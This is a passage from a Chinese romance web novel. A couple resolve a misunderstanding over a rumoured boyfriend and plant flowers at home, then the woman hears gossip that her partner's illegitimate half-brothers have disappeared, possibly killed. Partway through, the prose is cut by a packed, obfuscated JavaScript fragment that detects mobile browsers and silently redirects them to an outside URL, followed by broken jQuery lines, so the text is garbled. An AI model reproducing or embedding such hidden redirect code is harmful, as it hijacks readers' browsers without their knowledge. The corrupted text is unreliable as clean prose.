“我哪有骗人,”沈知舟为自己鸣不平,小声嘟囔,“怪你自己不说清楚。”
应作潇闭了闭眼,从大起大落的情绪中缓和过来,他轻轻地换了口气,这才开始安慰,“嗯,怪我。是我没弄清楚。”
“啊,我说之前你怎么莫名其妙对Evan有恶意呢,”她忽然探过身过稀奇地盯着他,“该不是吃醋了吧。”
男人眼里盛着晦暗不明的情绪,语气却很温和,“是,吃醋了。皎皎不哄哄吗?”
沈知舟被他看得脸热,扭过头去,“不要。是你自己搞错了,吃哪门子醋呀?”
一声闷笑从他喉咙间溢出,“是不该。”
当得知她恋爱时,他甚至没有勇气派人去查他们的过往,生怕再找到什么让他更加心碎的消息。没想到却因此闹出了个大乌龙。
真是够丢人的。
今日阳光甚好,车窗降下后,风里卷着嫩叶抽芽的清香,闻起来有些发涩却又让人忍不住沉醉。
路上沈知舟偶尔逗他开开玩笑,应作潇觉得自己脑子跟桶浆糊似的,什么都听不进去,全身感官都强制运行调动去注意车况了。嘴上回的什么,他自己都不清楚。
“对了,你爸最近没找你什么事儿吧?”
“都挺好的。”
“……”
“你还记不记得小时候咱们和陈言一起去春游,结果烧烤的时候火烧到了他屁股哈哈哈哈。”
“是吗,那真不错。”
“……”
总之到最后,沈知舟也不再跟他说话。车内只余下细微的风声。
待停好车后,应作潇从后备箱提出买来的花。沈知舟想接过,被他挡了回去,只见他下巴一扬:“去按楼梯。”
沈知舟愣怔了一瞬,默不作声地转过身。
估计当初她恋爱这个消息对应作潇打击挺大的,今天还只是澄清了恋爱的谣言,他说话都已经开始颠三倒四了。都不敢想得知她恋爱的时候,他是什么情况。
阳台已经提前收拾出一块空地用来养花。
应作潇已经将花盆之类的捯饬好洗完手后,接过沈知舟递来的水,“谢谢。”
沈知舟挑了下眉,居然对她一本正经地道谢?
她悄悄打量着他的神色,只看到男人一副波澜不惊的做派。沈知舟暗自好笑。如果真如他展现出来的这么平静,那就不会跟她如此客气了,只怕这会儿还没回过神。
春末的风不燥,一吹过来便惹得阳台上花儿枝叶颤颤巍巍的,像在害羞又像为了搬新家而雀跃。
沈知舟躺在软椅上,迎面吹着微风,时不时晃晃耷拉下来的腿。应作潇坐在她身侧的小沙发上,随着她的视线看向阳台。
氛围宁静又和谐。
两人无言,享受着难得的小小平和。
马上就要入夏,到时候就可以吃酸甜的小番茄,各式各样的雪糕,还有汁水充沛的西瓜。无论怎么想都会觉得这是很令人期待的事。
“前尘硬化像石头,随缘地抛下便逃走……”
一道熟悉的铃声打断沈知舟的漫游想法。
男人不疾不徐地接起,听着对面的工作汇报。
沈知舟没兴趣听他公司的事情,眼神转了转,回到那枝开得最好的花叶上。思绪却飘到高中,《富士山下》是她当时最喜欢听的歌。
为表支持,应作潇和她一起把铃声换成了《富士山下》。这么些年过去,她喜欢的歌换了一首又一首,铃声也从之前的歌曲变成了默认的系统自带。
应作潇居然还没有换掉。
是懒得换还是他没有注意到这种小事?又或者,是他一直都清楚的记得最初用《富士山下》的原因?
“为何为好事泪流,谁能凭爱意将富士山私有”这句是她最喜欢的,也是两个人特意截取出来当铃声的。
怎么现在换成了后面的另外一段。
沈知舟没想明白。
思及此,她又小心地打量了他一眼。
不知电话那头说了什么,男人脸色有些阴沉。
“嗯,我现在过去。”应作潇松了松最上方的衬衫扣子,神情不耐。
挂断电话,他微皱的眉头瞬间松散,面含歉意道:“集团临时有点事需要去处理,皎皎我……”
“没关系,你去吧。”沈知舟颔首,表情认真。
“午饭我派人给你送来,”应作潇起身穿衣,还不忘操心地叮嘱,“一定要按时吃饭。”
沈知舟窝在躺椅里的时间久了,骨头跟着犯懒,一点都不想起来,“知道啦。我不送你了,路上小心。”
“好,”应作潇俯身想摸她头发,又记起她早上的话,于是改成轻轻捏了下她的脸,“我走了,有事给我打电话。”
待大门合上,沈知舟才琢磨出刚才话里的不对劲来。
她在家里能有什么事?这话应该是她对他说才合适吧。
怪春意惹人,她转头就把刚才思考的事忘个一干二净。天气太舒服,躺椅太软和,沈知舟慢慢地就阖上了眼。
直到胳膊下的手机将她震醒,摸出来眯着眼一看。
是宋长欢。
语音电话的按键还在屏幕上,她叹口气,接听:“怎么了?”
“知舟,中午有约吗?出来吃饭吧。”
沈知舟正要把手机从耳边拿到面前,忽然想起腕上还戴着应作潇送的手表,抬起胳膊看了眼时间。
十二点十分。
才睡了二十分钟。
“我……”沈知舟清了清嗓子,正要拒绝,却听宋长欢在那头神神秘秘地开口。
“有超劲爆的八卦,真的。而且你还认识这个人!确定不听?”
沈知舟的瞌睡被她这句话一下子赶跑了,心脏都感觉砰砰砰地加速跳动起来。能让在八卦名利场中心斡旋了十几年的宋长欢都承认劲爆的,那一定是超级刺激了!
“其实我刚好也饿了,去哪儿吃饭?”沈知舟迅速站起来,冲向衣帽间寻找外套。
电话那头宋长欢毫不意外她会改变主意,忍住笑:“我已经快到了,等下把地址房间号发给你。”
“好。”
沈知舟已经很久没有这种紧张刺激的感觉了,就像是要去做什么偷偷摸摸见不得人的事。
一直等坐到了车上,她这才想起还没告诉应作潇,遂在微信上编辑了一条消息发过去。
【沈知舟:中午我出去吃,不用再给我送饭啦。】</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344118|193559||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
其实她可以说得再清楚一点,可听宋长欢的神秘口气,似乎知道的人并不多,为了保护消息出处还是谨慎些的好。
地址是一家融合菜餐厅,店内装潢低调奢华。给人一种可以在这里进行各种不正常交易的错觉。
见到来人,宋长欢眼睛一亮,“来啦,我已经点好菜了。快坐。”
沈知舟顺势在她对面的位置坐下,这个角度两个人面对面说得才爽!
略过彼此都心不在焉的寒暄环节,宋长欢喝了口大麦茶,开始进入铺垫环节。
“其实这个事为什么我跟你说呢,因为总觉得有一定的关系。”
沈知舟听到这话差点跳起来,什么大事啊,还跟她有关系?!
“你先说,我想想有没有。”
“我说这个也不是为了针对谁,就是无意间得知的。也不知道是不是真的……你懂吧?”
“我懂我懂,”沈知舟点头如捣蒜,嗔怪道,“从前你可不会这么墨迹,有什么就快说吧。”
宋长欢深吸一口气,进入正题:“之前我不是还跟你吐槽接了应氏的室内设计结果半路停工这事么?”
沈知舟指尖拨动着水杯,思考了半天,好像是有这么回事。于是点头,“对。”
“前段时间又莫名其妙地复工了,这种情况很正常我也没想太多,”宋长欢说,“有次应作潇助理过来看进度情况,刚好我也在。我就开玩笑地问他以后不会再莫名其妙地停工了吧,太耽误事了。”
她停住不讲了。
沈知舟疑惑地问:“怎么不继续说了?”
宋长欢抄过一旁的杯子大喝一口,“你知道他助理说什么吗?他说以后这种事不可能会在应氏再出现了。”
沈知舟腹诽,这好像也没什么问题?相当于安慰乙方的保证嘛。
宋长欢看透了她的心思,急急道:“但是他那个语气当时特别奇怪,说完后他的脸色有种说漏嘴的懊恼,我就赶紧追问是什么意思。他果然不说了,接下来绝口不提此事!”
这么看来倒确实有些奇怪了,但沈知舟总觉得哪里不对劲。她朝前凑了凑,压低声音问:“那你是怎么想的?”
“他们之前搞这么一出,我还挺担心后面会不会再次停工。虽然合同里有写补偿,但那毕竟是两回事,”宋长欢也学她朝前凑了凑,“他助理这个样子,我就感觉肯定有隐情!于是就找人去打听了一下。你猜怎么着!”
她的讲八卦方式跟说书似的,还有互动环节,弄得沈知舟都有些心惊。
“怎么着?”沈知舟顺着她的话问。
“你有没有发现最近应家那俩私生子都没出现过?”
“好像……没有,”沈知舟弱弱地说,“我最近都没参加聚会,忙得很。”
宋长欢啧了声,有些恨铁不成钢,“哎呀,我说你什么好!”
“到底怎么了,你说嘛。”沈知舟胃口被吊得足足的,忍不住催促。
“他们就跟消失了一样!在北城毫无踪迹!”宋长欢一锤定音,“我怀疑,有人对他们……”
她做了个抹脖子的动作。
沈知舟呼吸猛地一窒,好半晌后只听她的声音有些细颤:“死……死了?”